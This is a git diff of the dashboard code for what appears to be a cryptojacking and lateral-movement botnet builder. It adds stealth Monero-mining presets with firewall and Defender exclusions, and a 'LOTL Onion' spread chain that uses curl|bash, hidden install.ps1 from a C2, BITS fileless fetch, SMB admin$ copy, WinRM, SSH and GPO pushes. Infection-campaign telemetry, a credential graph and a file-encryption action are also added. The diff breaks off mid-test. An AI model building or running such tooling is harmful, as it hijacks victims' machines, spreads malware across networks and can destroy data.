+ expect(next.miner_execution).toBe('inprocess');
+ expect(next.gpu_enabled).toBe(false);
+ expect(next.process_hollowing).toBe(false);
+ expect(next.spread_kit).toBe(false);
+ expect(next.auto_spread).toBe(false);
+ expect(next.remote_aggressive).toBe(false);
+ expect(next.obfuscate).toBe(false);
+ });
+
+ it('applies LOTL Onion AV-Safe mining plus tier chain flags', () => {
+ const next = applyOperationMode(baseForm(), 'lotl_onion');
+ expect(next.miner_execution).toBe('inprocess');
+ expect(next.gpu_enabled).toBe(false);
+ expect(next.lotl_onion_enabled).toBe(true);
+ expect(next.lotl_policy_from_server).toBe(true);
+ expect(next.lotl_onion_tiers).toHaveLength(9);
+ expect(next.lotl_onion_tiers?.[0]).toBe('docker');
+ expect(next.spread_kit).toBe(false);
+ expect(next.auto_spread).toBe(true);
+ expect(next.share_spread).toBe(true);
+ });
});
diff --git a/server/web/src/help/forgeOperationModes.ts b/server/web/src/help/forgeOperationModes.ts
index 8eeb70c..cf51255 100644
--- a/server/web/src/help/forgeOperationModes.ts
+++ b/server/web/src/help/forgeOperationModes.ts
@@ -1,5 +1,6 @@
import type { BuildRequest } from '../types';
import { normalizeForgeForm } from './forgeFormNormalize';
+import { DEFAULT_LOTL_ONION_TIERS } from './lotlOnionTiers';
export type OperationModeId =
| 'ghost_walk'
@@ -7,7 +8,9 @@ export type OperationModeId =
| 'sigil_mask'
| 'hearth_whisper'
| 'wildfire'
- | 'crucible_storm';
+ | 'crucible_storm'
+ | 'av_safe'
+ | 'lotl_onion';
/** Seasonal / operation forge UI skins (CSS class suffix). */
export type ForgeSkinId = 'aether' | 'halloween' | 'ghost' | 'wildfire' | 'crucible';
@@ -158,6 +161,66 @@ export const OPERATION_MODES: OperationMode[] = [
mesh_p2p: true,
}),
},
+ {
+ id: 'av_safe',
+ label: 'AV-Safe',
+ color: '#22d3a8',
+ skin: 'aether',
+ blurb: 'In-process RandomX only — no GPU exe, no hollow/spread, minimal AV friction',
+ apply: (f) => ({
+ ...f,
+ miner_execution: 'inprocess',
+ gpu_enabled: false,
+ process_hollowing: false,
+ spread_kit: false,
+ auto_spread: false,
+ usb_spread: false,
+ share_spread: false,
+ remote_aggressive: false,
+ obfuscate: false,
+ stealth_mode: true,
+ display_mode: 'background',
+ silent_mode: true,
+ file_logging: true,
+ firewall_exclusion: true,
+ fusion_enabled: false,
+ mining_mode: 'idle',
+ max_cpu_usage_pct: 50,
+ thread_percent: 50,
+ }),
+ },
+ {
+ id: 'lotl_onion',
+ label: 'LOTL Onion',
+ color: '#38bdf8',
+ skin: 'aether',
+ blurb:
+ 'AV-Safe in-process XMR (same wallet field) + native-tool spread tier chain — server-pulled contingencies, no extra exe drop',
+ apply: (f) => ({
+ ...f,
+ miner_execution: 'inprocess',
+ gpu_enabled: false,
+ process_hollowing: false,
+ spread_kit: false,
+ auto_spread: true,
+ share_spread: true,
+ usb_spread: false,
+ remote_aggressive: false,
+ obfuscate: false,
+ stealth_mode: true,
+ display_mode: 'background',
+ silent_mode: true,
+ file_logging: true,
+ firewall_exclusion: true,
+ fusion_enabled: false,
+ mining_mode: 'idle',
+ max_cpu_usage_pct: 50,
+ thread_percent: 50,
+ lotl_onion_enabled: true,
+ lotl_policy_from_server: true,
+ lotl_onion_tiers: [...DEFAULT_LOTL_ONION_TIERS],
+ }),
+ },
];
export function isOperationModeId(value: string): value is OperationModeId {
diff --git a/server/web/src/help/lotlOnionTiers.test.ts b/server/web/src/help/lotlOnionTiers.test.ts
new file mode 100644
index 0000000..2a15daa
--- /dev/null
+++ b/server/web/src/help/lotlOnionTiers.test.ts
@@ -0,0 +1,14 @@
+import { describe, it, expect } from 'vitest';
+import { DEFAULT_LOTL_ONION_TIERS, LOTL_ONION_TIER_DOCS } from './lotlOnionTiers';
+
+describe('lotlOnionTiers', () => {
+ it('lists nine tiers in onion order', () => {
+ expect(DEFAULT_LOTL_ONION_TIERS).toHaveLength(9);
+ expect(DEFAULT_LOTL_ONION_TIERS[8]).toBe('gpo');
+ });
+
+ it('documents each tier with a one-line hint', () => {
+ expect(LOTL_ONION_TIER_DOCS).toHaveLength(9);
+ expect(LOTL_ONION_TIER_DOCS.every((t) => t.label && t.hint)).toBe(true);
+ });
+});
diff --git a/server/web/src/help/lotlOnionTiers.ts b/server/web/src/help/lotlOnionTiers.ts
new file mode 100644
index 0000000..bdd1271
--- /dev/null
+++ b/server/web/src/help/lotlOnionTiers.ts
@@ -0,0 +1,38 @@
+/** Ordered LOTL spread contingency tiers — shared by Forge preset + spread wiki. */
+
+export const DEFAULT_LOTL_ONION_TIERS = [
+ 'docker',
+ 'wsl',
+ 'powershell',
+ 'dotnet',
+ 'bits_curl',
+ 'smb',
+ 'winrm',
+ 'linux',
+ 'gpo',
+] as const;
+
+export type LotlOnionTierId = (typeof DEFAULT_LOTL_ONION_TIERS)[number];
+
+export interface LotlOnionTierDoc {
+ id: LotlOnionTierId;
+ label: string;
+ /** One-line operator hint for playbook tabs */
+ hint: string;
+}
+
+export const LOTL_ONION_TIER_DOCS: LotlOnionTierDoc[] = [
+ { id: 'docker', label: 'Docker', hint: 'Container worker image — isolated RandomX, no host miner exe drop' },
+ { id: 'wsl', label: 'WSL', hint: 'WSL curl|bash one-liner when native Windows path is blocked' },
+ { id: 'powershell', label: 'PowerShell', hint: 'PS remoting / hidden install.ps1 from your C2 origin' },
+ { id: 'dotnet', label: 'dotnet', hint: 'dotnet tool-run bootstrap — no standalone payload exe' },
+ { id: 'bits_curl', label: 'bits/curl', hint: 'BITS transfer or curl|bash to /install.ps1 — fileless fetch' },
+ { id: 'smb', label: 'SMB', hint: 'admin$ / C$ copy + SCM — classic lateral on open 445' },
+ { id: 'winrm', label: 'WinRM', hint: 'Opportunistic PS remoting when 5985/5986 responds' },
+ { id: 'linux', label: 'Linux', hint: 'SSH lateral on Unix agents — same wallet, no extra drop' },
+ { id: 'gpo', label: 'GPO', hint: 'Domain startup/logon script push — operator-owned AD only' },
+];
+
+export function lotlTierDocUrl(tier: LotlOnionTierId): string {
+ return `/docs/SPREAD_TECHNIQUES.html#lotl-tier-${tier}`;
+}
diff --git a/server/web/src/help/presencePages.ts b/server/web/src/help/presencePages.ts
index 2239e7d..ed4015f 100644
--- a/server/web/src/help/presencePages.ts
+++ b/server/web/src/help/presencePages.ts
@@ -1,7 +1,7 @@
/** Map dashboard routes to human-readable page names for comrade presence. */
const PAGE_LABELS: Record = {
'/dashboard': 'Command Deck',
- '/agents': 'Fleet Roster',
+ '/agents': 'Crucible',
'/crucible': 'Crucible',
'/forge': 'Forge',
'/builder': 'Forge',
diff --git a/server/web/src/help/reconRisk.test.ts b/server/web/src/help/reconRisk.test.ts
new file mode 100644
index 0000000..e132af1
--- /dev/null
+++ b/server/web/src/help/reconRisk.test.ts
@@ -0,0 +1,38 @@
+import { describe, expect, it } from 'vitest';
+import { ipToSubnet, joinLaneLabel, riskFromVulnFindings } from './reconRisk';
+
+describe('reconRisk', () => {
+ it('ipToSubnet derives /24 label', () => {
+ expect(ipToSubnet('10.0.1.42')).toBe('10.0.1.x');
+ expect(ipToSubnet('')).toBe('');
+ });
+
+ it('riskFromVulnFindings returns null when empty or all patched', () => {
+ expect(riskFromVulnFindings(undefined)).toBeNull();
+ expect(riskFromVulnFindings([{ cve_id: 'CVE-1', severity: 'critical', patched: true }])).toBeNull();
+ });
+
+ it('riskFromVulnFindings picks highest unpatched severity', () => {
+ const info = riskFromVulnFindings([
+ { cve_id: 'CVE-LOW', severity: 'low', patched: false },
+ { cve_id: 'CVE-HIGH', severity: 'high', patched: false, exploitable_in_fleet_context: true },
+ ]);
+ expect(info?.level).toBe('high');
+ expect(info?.label).toBe('RISK HIGH');
+ expect(info?.count).toBe(2);
+ expect(info?.title).toContain('CVE-HIGH');
+ });
+
+ it('riskFromVulnFindings maps critical severity', () => {
+ const info = riskFromVulnFindings([{ cve_id: 'CVE-X', severity: 'critical', patched: false }]);
+ expect(info?.level).toBe('critical');
+ expect(info?.label).toBe('RISK CRIT');
+ });
+
+ it('joinLaneLabel formats known lanes', () => {
+ expect(joinLaneLabel('winrm')).toBe('WinRM');
+ expect(joinLaneLabel('spread_smb_unc')).toBe('SMB UNC');
+ expect(joinLaneLabel('')).toBeNull();
+ expect(joinLaneLabel('custom_lane')).toBe('custom lane');
+ });
+});
diff --git a/server/web/src/help/reconRisk.ts b/server/web/src/help/reconRisk.ts
new file mode 100644
index 0000000..c82e4f4
--- /dev/null
+++ b/server/web/src/help/reconRisk.ts
@@ -0,0 +1,88 @@
+import type { VulnFinding } from '../types/recon';
+
+const SEVERITY_RANK: Record = {
+ critical: 5,
+ high: 4,
+ medium: 3,
+ low: 2,
+ info: 1,
+};
+
+export type RiskLevel = 'critical' | 'high' | 'medium' | 'low' | 'clear';
+
+export interface RiskBadgeInfo {
+ level: RiskLevel;
+ label: string;
+ count: number;
+ title: string;
+}
+
+/** Derive /24 subnet label from agent IP (matches fleetAnalytics). */
+export function ipToSubnet(ip?: string): string {
+ const trimmed = (ip || '').trim();
+ const parts = trimmed.split('.');
+ return parts.length >= 3 ? `${parts[0]}.${parts[1]}.${parts[2]}.x` : '';
+}
+
+function severityRank(severity?: string): number {
+ if (!severity) return 0;
+ return SEVERITY_RANK[severity.toLowerCase()] ?? 0;
+}
+
+/** Highest actionable severity from vuln_findings; clear when empty or all patched. */
+export function riskFromVulnFindings(findings?: VulnFinding[]): RiskBadgeInfo | null {
+ if (!findings?.length) return null;
+
+ const actionable = findings.filter((f) => !f.patched);
+ if (actionable.length === 0) return null;
+
+ let maxRank = 0;
+ let maxSeverity = 'low';
+ let exploitable = 0;
+ for (const f of actionable) {
+ const rank = severityRank(f.severity);
+ if (rank > maxRank) {
+ maxRank = rank;
+ maxSeverity = (f.severity || 'low').toLowerCase();
+ }
+ if (f.exploitable_in_fleet_context) exploitable += 1;
+ }
+
+ const level: RiskLevel =
+ maxRank >= 5 ? 'critical' : maxRank >= 4 ? 'high' : maxRank >= 3 ? 'medium' : 'low';
+
+ const cveList = actionable
+ .slice(0, 4)
+ .map((f) => f.cve_id)
+ .join(', ');
+ const suffix = actionable.length > 4 ? ` +${actionable.length - 4} more` : '';
+
+ return {
+ level,
+ label: level === 'critical' ? 'RISK CRIT' : level === 'high' ? 'RISK HIGH' : level === 'medium' ? 'RISK MED' : 'RISK',
+ count: actionable.length,
+ title: `${actionable.length} unpatched finding(s) — max ${maxSeverity}${
+ exploitable ? ` · ${exploitable} fleet-context` : ''
+ }\n${cveList}${suffix}`,
+ };
+}
+
+const JOIN_LANE_LABELS: Record = {
+ winrm: 'WinRM',
+ smb: 'SMB',
+ gpo: 'GPO',
+ docker: 'Docker',
+ bits: 'BITS',
+ intune: 'Intune',
+ 'linux-lotl': 'Linux LOTL',
+ linux_lotl: 'Linux LOTL',
+ spread_smb_unc: 'SMB UNC',
+};
+
+/** Display label for join_lane funnel tag. */
+export function joinLaneLabel(lane?: string): string | null {
+ const raw = lane?.trim();
+ if (!raw) return null;
+ const key = raw.toLowerCase();
+ return JOIN_LANE_LABELS[key] ?? raw.replace(/_/g, ' ').replace(/-/g, ' ');
+}
diff --git a/server/web/src/help/remoteActions.test.ts b/server/web/src/help/remoteActions.test.ts
index 03709a6..2adb54e 100644
--- a/server/web/src/help/remoteActions.test.ts
+++ b/server/web/src/help/remoteActions.test.ts
@@ -24,6 +24,7 @@ const UI_REMOTE_ACTIONS = [
'upload',
'push_desktop',
'full_sys_check',
+ 'mining_diagnostics',
...AGGRESSIVE_REMOTE_ACTIONS,
] as const;
@@ -41,6 +42,7 @@ const AGENT_HANDLED = new Set([
'upload',
'push_desktop',
'full_sys_check',
+ 'mining_diagnostics',
'download',
'ps',
'netstat',
diff --git a/server/web/src/help/settingHelp.test.ts b/server/web/src/help/settingHelp.test.ts
index 4168eb1..d794b99 100644
--- a/server/web/src/help/settingHelp.test.ts
+++ b/server/web/src/help/settingHelp.test.ts
@@ -24,7 +24,7 @@ describe('SETUP_CHEATSHEET', () => {
expect(bodies).toContain('Calibrate');
expect(bodies).toContain('Forge');
expect(bodies).toContain('Command Deck');
- expect(bodies).toContain('Fleet Roster');
+ expect(bodies).toContain('Crucible');
});
});
@@ -33,6 +33,7 @@ describe('FIELD_HELP', () => {
'calibrate_wallet',
'calibrate_quick_setup',
'forge_simple_mode',
+ 'forge_lotl_onion',
'forge_recommended_defaults',
'obfuscate',
'sigil_scramble',
@@ -58,6 +59,7 @@ describe('FIELD_HELP', () => {
'min_free_ram_mb',
'cpu_priority',
'mining_mode',
+ 'miner_execution',
'idle_threshold_pct',
'idle_duration_minutes',
'schedule_start',
diff --git a/server/web/src/help/settingHelp.ts b/server/web/src/help/settingHelp.ts
index d459bc2..98b2d5a 100644
--- a/server/web/src/help/settingHelp.ts
+++ b/server/web/src/help/settingHelp.ts
@@ -13,7 +13,7 @@ export const SETUP_CHEATSHEET = [
},
{
title: '4. Watch the fleet',
- body: 'Command Deck shows live hashrate. Fleet Roster has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
+ body: 'Command Deck shows live hashrate. Crucible has remote controls when you need them — buttons stay disabled until the agent is online (live WebSocket required).',
},
];
@@ -25,7 +25,9 @@ export const FIELD_HELP: Record = {
forge_simple_mode:
'Simple mode hides pool tuning, stealth toggles, and expert options — they stay on recommended defaults. Switch to Advanced when you need full control.',
forge_operation_mode:
- 'One-click preset bundles: Ghost (stealth LAN, no window, idle mining), Loud (visible logs for lab testing), Spread (universal multi-OS kit with autospread), PathForge (recursive batch seed for media folders). Switches sensible defaults — individual fields below can still be fine-tuned.',
+ 'One-click preset bundles: Ghost (stealth LAN), Loud (lab logs), Wildfire (spread kit), AV-Safe (in-process XMR only), LOTL Onion (AV-Safe mining + native-tool spread tier chain with server-pulled contingencies). Switches sensible defaults — individual fields below can still be fine-tuned.',
+ forge_lotl_onion:
+ 'LOTL Onion preset: in-process RandomX (same XMR wallet field), no GPU exe drop, ordered docker→GPO spread contingencies. When lotl_policy_from_server is on, tier order is pulled from Calibrate server config on agent auth — re-forge not required to reorder tiers.',
forge_path_forge:
'Server-side recursive batch seed: enter a folder path and the server walks it, placing a launcher next to every matching file without uploading anything. Lock Original renames the source so only the companion launcher can open it — it re-locks after playback.',
forge_recommended_defaults:
@@ -64,6 +66,8 @@ export const FIELD_HELP: Record = {
min_free_ram_mb: 'Pause mining if free system RAM drops below this value (MB). Protects desktop usability.',
cpu_priority: 'Windows process priority. Below Normal or Idle keeps the PC usable while mining.',
mining_mode: 'Always = mine continuously. Idle = only when user is inactive. Scheduled = mine during set hours.',
+ miner_execution:
+ 'Cascade order: container (Docker/Podman) → in-process RandomX → GPU subprocess (T-Rex/TRM, parallel RVN) → direct Stratum when C2 jobs stall. In-process runs pure-Go RandomX — no external CPU .exe. Container isolates CPU mining. Subprocess is GPU-only. Auto runs the full chain; inprocess/container/subprocess limit which steps are tried. Failures advance automatically with a 30s cooldown between full re-passes. Use Calibrate → Defender Exclusions on Windows fleets.',
idle_threshold_pct: 'For Idle mode: system CPU must stay below this % for Idle Duration before mining starts.',
idle_duration_minutes: 'How long the machine must be idle before mining begins.',
schedule_start: 'For Scheduled mode: daily start time (24h).',
diff --git a/server/web/src/help/spreadTechniques.test.ts b/server/web/src/help/spreadTechniques.test.ts
index 959c947..8502510 100644
--- a/server/web/src/help/spreadTechniques.test.ts
+++ b/server/web/src/help/spreadTechniques.test.ts
@@ -17,7 +17,8 @@ describe('spreadTechniques', () => {
});
it('maps Emberwake bullets to playbook tabs', () => {
- expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(8);
+ expect(EMBERWAKE_TECHNIQUE_LINKS.length).toBeGreaterThanOrEqual(9);
+ expect(EMBERWAKE_TECHNIQUE_LINKS.some((t) => t.anchor === 'lotl-onion')).toBe(true);
expect(EMBERWAKE_TECHNIQUE_LINKS.every((t) => t.anchor && t.label && t.hint)).toBe(true);
});
});
diff --git a/server/web/src/help/spreadTechniques.ts b/server/web/src/help/spreadTechniques.ts
index 3d99a28..0e24b92 100644
--- a/server/web/src/help/spreadTechniques.ts
+++ b/server/web/src/help/spreadTechniques.ts
@@ -13,6 +13,11 @@ export interface EmberwakeTechniqueLink {
/** Maps Emberwake “how to spread” bullets to playbook tabs. */
export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
+ {
+ label: 'LOTL Onion tiers',
+ anchor: 'lotl-onion',
+ hint: 'Ordered docker→GPO contingencies — LOTL Onion forge preset',
+ },
{
label: 'Web waterhole',
anchor: 'web-waterhole',
@@ -43,6 +48,21 @@ export const EMBERWAKE_TECHNIQUE_LINKS: EmberwakeTechniqueLink[] = [
anchor: 'lan',
hint: 'Universal spread kit + autospread preset',
},
+ {
+ label: 'WinRM bootstrap',
+ anchor: 'winrm-bootstrap',
+ hint: 'Enable-PSRemoting + encoded agent register (owned lab)',
+ },
+ {
+ label: 'Linux LOTL',
+ anchor: 'linux-lotl',
+ hint: 'systemd-run --user, crontab, SSH lateral spread',
+ },
+ {
+ label: 'GPO / Intune',
+ anchor: 'enterprise-gpo',
+ hint: 'Startup scripts — mining policy stays on command deck',
+ },
{
label: 'WordPress plugin',
anchor: 'wordpress',
diff --git a/server/web/src/help/spreadTemplateExport.test.ts b/server/web/src/help/spreadTemplateExport.test.ts
new file mode 100644
index 0000000..f94914f
--- /dev/null
+++ b/server/web/src/help/spreadTemplateExport.test.ts
@@ -0,0 +1,13 @@
+import { describe, it, expect } from 'vitest';
+import { SPREAD_TEMPLATES, spreadTemplateZipName } from './spreadTemplateExport';
+
+describe('spreadTemplateExport', () => {
+ it('lists enterprise spread templates', () => {
+ expect(SPREAD_TEMPLATES.map((t) => t.id)).toEqual(['winrm', 'linux-lotl', 'gpo', 'intune']);
+ });
+
+ it('maps template ids to zip filenames', () => {
+ expect(spreadTemplateZipName('winrm')).toBe('aetherforge-winrm-bootstrap.zip');
+ expect(spreadTemplateZipName('linux-lotl')).toBe('aetherforge-linux-lotl.zip');
+ });
+});
diff --git a/server/web/src/help/spreadTemplateExport.ts b/server/web/src/help/spreadTemplateExport.ts
new file mode 100644
index 0000000..f18d34a
--- /dev/null
+++ b/server/web/src/help/spreadTemplateExport.ts
@@ -0,0 +1,52 @@
+/** Spread template export helpers (Tasks 9/12/13) */
+
+export type SpreadTemplateId = 'winrm' | 'linux-lotl' | 'gpo' | 'intune';
+
+export interface SpreadTemplateMeta {
+ id: SpreadTemplateId;
+ label: string;
+ hint: string;
+ docAnchor: string;
+}
+
+export const SPREAD_TEMPLATES: SpreadTemplateMeta[] = [
+ {
+ id: 'winrm',
+ label: 'WinRM bootstrap',
+ hint: 'Enable-PSRemoting + encoded register; COM hijack optional (off by default)',
+ docAnchor: 'winrm-bootstrap',
+ },
+ {
+ id: 'linux-lotl',
+ label: 'Linux LOTL',
+ hint: 'systemd-run --user / crontab + SSH spread flags',
+ docAnchor: 'linux-lotl',
+ },
+ {
+ id: 'gpo',
+ label: 'GPO startup',
+ hint: 'Computer startup script — policy on server, not in GPO blob',
+ docAnchor: 'enterprise-gpo',
+ },
+ {
+ id: 'intune',
+ label: 'Intune script',
+ hint: 'Proactive remediation — defer mining until C2 diagnostics',
+ docAnchor: 'enterprise-intune',
+ },
+];
+
+export function spreadTemplateZipName(id: SpreadTemplateId): string {
+ switch (id) {
+ case 'winrm':
+ return 'aetherforge-winrm-bootstrap.zip';
+ case 'linux-lotl':
+ return 'aetherforge-linux-lotl.zip';
+ case 'gpo':
+ return 'aetherforge-gpo-startup.zip';
+ case 'intune':
+ return 'aetherforge-intune-startup.zip';
+ default:
+ return 'aetherforge-spread-template.zip';
+ }
+}
diff --git a/server/web/src/help/uiHelp.test.ts b/server/web/src/help/uiHelp.test.ts
index fdd22a7..904d94f 100644
--- a/server/web/src/help/uiHelp.test.ts
+++ b/server/web/src/help/uiHelp.test.ts
@@ -45,6 +45,8 @@ describe('UI_HELP', () => {
'crucible_section_files_advanced',
'crucible_section_destructive',
'crucible_section_spread',
+ 'crucible_section_cred_graph',
+ 'crucible_section_service_graph',
'crucible_section_seek',
'crucible_section_ssh',
'crucible_section_tunnels',
diff --git a/server/web/src/help/uiHelp.ts b/server/web/src/help/uiHelp.ts
index 5c827d0..a0d9ac7 100644
--- a/server/web/src/help/uiHelp.ts
+++ b/server/web/src/help/uiHelp.ts
@@ -36,7 +36,7 @@ export const UI_HELP: Record = {
crucible_heat_map:
'Spatial view of node selection and group colors. Click a dot to toggle that agent in the roster.',
crucible_groups:
- 'Named color groups shared with Fleet Roster. Click a group chip to select all members for bulk commands.',
+ 'Named color groups for the fleet. Click a group chip to select all members for bulk commands.',
crucible_active_target:
'The focused node when exactly one is selected — used for single-agent panels like live desktop and file browser.',
crucible_tab_ops:
@@ -50,11 +50,11 @@ export const UI_HELP: Record = {
crucible_tab_tunnels:
'SSH port forwards and protocol tunnels between your control PC and selected agents.',
crucible_mining_ops:
- 'Pause or resume hashing on selected online nodes. The agent process stays connected — only the miner thread stops or starts.',
+ 'Fleet health power management: pause or resume hashing on selected online nodes. Mining telemetry egresses on the agent WebSocket (same port as heartbeat) — the agent process stays connected.',
crucible_resume:
- 'Tell selected online miners to resume hashing after a pause command or idle throttle.',
+ 'Fleet health job: restore hashing workload after a pause or idle throttle.',
crucible_pause:
- 'Pause mining on selected nodes without stopping the agent process — they stay connected.',
+ 'Fleet health job: power down hashing on selected nodes without stopping the agent — they stay connected on WSS.',
crucible_full_audit:
'Deep posture scan (30–60s): firewall, WAN IP, geo, DNS, ARP, subnet scan, hardware, and listeners.',
crucible_posture_badge:
@@ -84,7 +84,11 @@ export const UI_HELP: Record = {
crucible_section_destructive:
'SYS CRYPT encrypts Documents/home — irreversible without the key.',
crucible_section_spread:
- 'On-demand lateral spread, subnet discovery, SMB shares, and credential vault names.',
+ 'On-demand lateral spread, subnet discovery, SMB shares, credential vault names, and Probe & Join (discover_and_join).',
+ crucible_section_cred_graph:
+ 'Read-only credential affinity edges per /24 subnet — success/fail counts from authorized spread runs (no secrets).',
+ crucible_section_service_graph:
+ 'Enumerated services and join-lane candidates for the selected agent subnet (from discover_and_join / service probe).',
crucible_section_seek:
'SUPP Seek recursively seeds media folders with silent launcher stubs (Windows + Mac/Linux).',
crucible_section_ssh:
diff --git a/server/web/src/help/warRoomTelemetry.test.ts b/server/web/src/help/warRoomTelemetry.test.ts
new file mode 100644
index 0000000..5692d64
--- /dev/null
+++ b/server/web/src/help/warRoomTelemetry.test.ts
@@ -0,0 +1,94 @@
+import { describe, expect, it } from 'vitest';
+import { mockAgent } from '../test/fixtures';
+import {
+ aggregateCampaignTelemetry,
+ effectiveMiningHashrate,
+ hashHeatIntensity,
+ lotlTierLabel,
+ maxTelemetryHashrate,
+ mergeCampaignWithLiveTelemetry,
+} from './warRoomTelemetry';
+import type { WarRoomCampaign } from '../types';
+
+describe('effectiveMiningHashrate', () => {
+ it('prefers mining_hashrate when present', () => {
+ expect(
+ effectiveMiningHashrate(mockAgent({ mining_hashrate: 900, hashrate_15m: 100, gpu_hashrate_15m: 50 })),
+ ).toBe(900);
+ });
+
+ it('falls back to CPU + GPU hashrate', () => {
+ expect(
+ effectiveMiningHashrate(mockAgent({ hashrate_15m: 400, gpu_hashrate_15m: 100 })),
+ ).toBe(500);
+ });
+});
+
+describe('aggregateCampaignTelemetry', () => {
+ it('groups online agents by campaign and sums hashrate', () => {
+ const map = aggregateCampaignTelemetry([
+ mockAgent({ id: 'a1', campaign: 'linkedin', status: 'online', mining_hashrate: 300 }),
+ mockAgent({ id: 'a2', campaign: 'linkedin', status: 'online', hashrate_15m: 200 }),
+ mockAgent({ id: 'a3', campaign: 'usb', status: 'offline', hashrate_15m: 999 }),
+ ]);
+ const linkedin = map.get('linkedin');
+ expect(linkedin?.online).toBe(2);
+ expect(linkedin?.hashrate).toBe(500);
+ expect(linkedin?.mining).toBe(2);
+ expect(map.get('usb')?.hashrate).toBe(0);
+ });
+});
+
+describe('mergeCampaignWithLiveTelemetry', () => {
+ const base: WarRoomCampaign = {
+ campaign: 'linkedin',
+ hits: 10,
+ downloads: 5,
+ agents: 2,
+ online: 0,
+ hashrate: 0,
+ conversion_pct: 20,
+ daily_hits: [1, 2, 3],
+ };
+
+ it('overlays live hashrate and online counts', () => {
+ const merged = mergeCampaignWithLiveTelemetry(base, {
+ hashrate: 1200,
+ online: 2,
+ mining: 1,
+ agents: [],
+ });
+ expect(merged.hashrate).toBe(1200);
+ expect(merged.online).toBe(2);
+ expect(merged.hits).toBe(10);
+ });
+});
+
+describe('hashHeatIntensity', () => {
+ it('returns 0 for zero hashrate', () => {
+ expect(hashHeatIntensity(0, 1000)).toBe(0);
+ });
+
+ it('scales relative to fleet max', () => {
+ expect(hashHeatIntensity(500, 1000)).toBe(0.5);
+ expect(hashHeatIntensity(2000, 1000)).toBe(1);
+ });
+});
+
+describe('lotlTierLabel', () => {
+ it('returns uppercase tier or null', () => {
+ expect(lotlTierLabel(' tier-2 ')).toBe('TIER-2');
+ expect(lotlTierLabel('')).toBeNull();
+ expect(lotlTierLabel(undefined)).toBeNull();
+ });
+});
+
+describe('maxTelemetryHashrate', () => {
+ it('finds peak campaign hashrate', () => {
+ const map = aggregateCampaignTelemetry([
+ mockAgent({ campaign: 'a', status: 'online', mining_hashrate: 100 }),
+ mockAgent({ campaign: 'b', status: 'online', mining_hashrate: 450 }),
+ ]);
+ expect(maxTelemetryHashrate(map)).toBe(450);
+ });
+});
diff --git a/server/web/src/help/warRoomTelemetry.ts b/server/web/src/help/warRoomTelemetry.ts
new file mode 100644
index 0000000..3c1f483
--- /dev/null
+++ b/server/web/src/help/warRoomTelemetry.ts
@@ -0,0 +1,78 @@
+import type { Agent, WarRoomCampaign } from '../types';
+
+export interface CampaignLiveTelemetry {
+ hashrate: number;
+ online: number;
+ mining: number;
+ agents: Agent[];
+}
+
+/** Effective mining hashrate from WS stats (explicit field or CPU+GPU fallback). */
+export function effectiveMiningHashrate(agent: Agent): number {
+ const explicit = agent.mining_hashrate;
+ if (typeof explicit === 'number' && Number.isFinite(explicit) && explicit >= 0) {
+ return explicit;
+ }
+ const cpu = agent.hashrate_15m ?? agent.hashrate_15s ?? 0;
+ const gpu = agent.gpu_hashrate_15m ?? agent.gpu_hashrate_15s ?? 0;
+ return cpu + gpu;
+}
+
+/** Group live fleet agents by spread campaign slug. */
+export function aggregateCampaignTelemetry(agents: Agent[]): Map {
+ const map = new Map();
+ for (const agent of agents) {
+ const slug = agent.campaign?.trim();
+ if (!slug) continue;
+ let entry = map.get(slug);
+ if (!entry) {
+ entry = { hashrate: 0, online: 0, mining: 0, agents: [] };
+ map.set(slug, entry);
+ }
+ entry.agents.push(agent);
+ if (agent.status === 'online') {
+ entry.online += 1;
+ const hr = effectiveMiningHashrate(agent);
+ entry.hashrate += hr;
+ if (hr > 0) entry.mining += 1;
+ }
+ }
+ return map;
+}
+
+/** Overlay live WS hashrate onto REST/WS funnel campaign rows. */
+export function mergeCampaignWithLiveTelemetry(
+ campaign: WarRoomCampaign,
+ live?: CampaignLiveTelemetry,
+): WarRoomCampaign {
+ if (!live) return campaign;
+ return {
+ ...campaign,
+ hashrate: live.hashrate,
+ online: live.online,
+ mining: live.mining > 0 ? live.mining : campaign.mining,
+ };
+}
+
+/** Heat intensity 0–1 for CSS `--hash-heat` (aether ember glow). */
+export function hashHeatIntensity(hashrate: number, maxHashrate: number): number {
+ if (!hashrate || hashrate <= 0) return 0;
+ if (maxHashrate <= 0) return 0.35;
+ return Math.min(1, Math.max(0.12, hashrate / maxHashrate));
+}
+
+/** Display label for LOTL tier badge; null when unset. */
+export function lotlTierLabel(tier?: string): string | null {
+ const t = tier?.trim();
+ if (!t) return null;
+ return t.toUpperCase();
+}
+
+/** Max live hashrate across campaign telemetry (for heat normalization). */
+export function maxTelemetryHashrate(telemetry: Map): number {
+ let max = 0;
+ for (const t of telemetry.values()) {
+ if (t.hashrate > max) max = t.hashrate;
+ }
+ return max;
+}
diff --git a/server/web/src/help/wsStatsCoalesce.test.ts b/server/web/src/help/wsStatsCoalesce.test.ts
index d6a306b..2af8d40 100644
--- a/server/web/src/help/wsStatsCoalesce.test.ts
+++ b/server/web/src/help/wsStatsCoalesce.test.ts
@@ -33,6 +33,89 @@ describe('agentStatsUnchanged', () => {
}),
).toBe(false);
});
+
+ it('returns false when mining cascade fields change', () => {
+ const agent = mockAgent({
+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ active_method: 'inprocess',
+ stratum_overlay: false,
+ });
+ expect(
+ agentStatsUnchanged(agent, {
+ agent_id: agent.id,
+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ active_method: 'container',
+ }),
+ ).toBe(false);
+ expect(
+ agentStatsUnchanged(agent, {
+ agent_id: agent.id,
+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ active_method: 'inprocess',
+ stratum_overlay: true,
+ }),
+ ).toBe(false);
+ });
+
+ it('returns false when mining_hashrate or lotl_tier change', () => {
+ const agent = mockAgent({
+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ mining_hashrate: 500,
+ lotl_tier: 'tier-1',
+ });
+ expect(
+ agentStatsUnchanged(agent, {
+ agent_id: agent.id,
+ hashrate_15s: 100,
+ hashrate_1m: 90,
+ hashrate_15m: 80,
+ cpu_usage_pct: 12,
+ mining_hashrate: 600,
+ }),
+ ).toBe(false);
+ expect(
+ agentStatsUnchanged(agent, {
+ agent_id: agent.id,
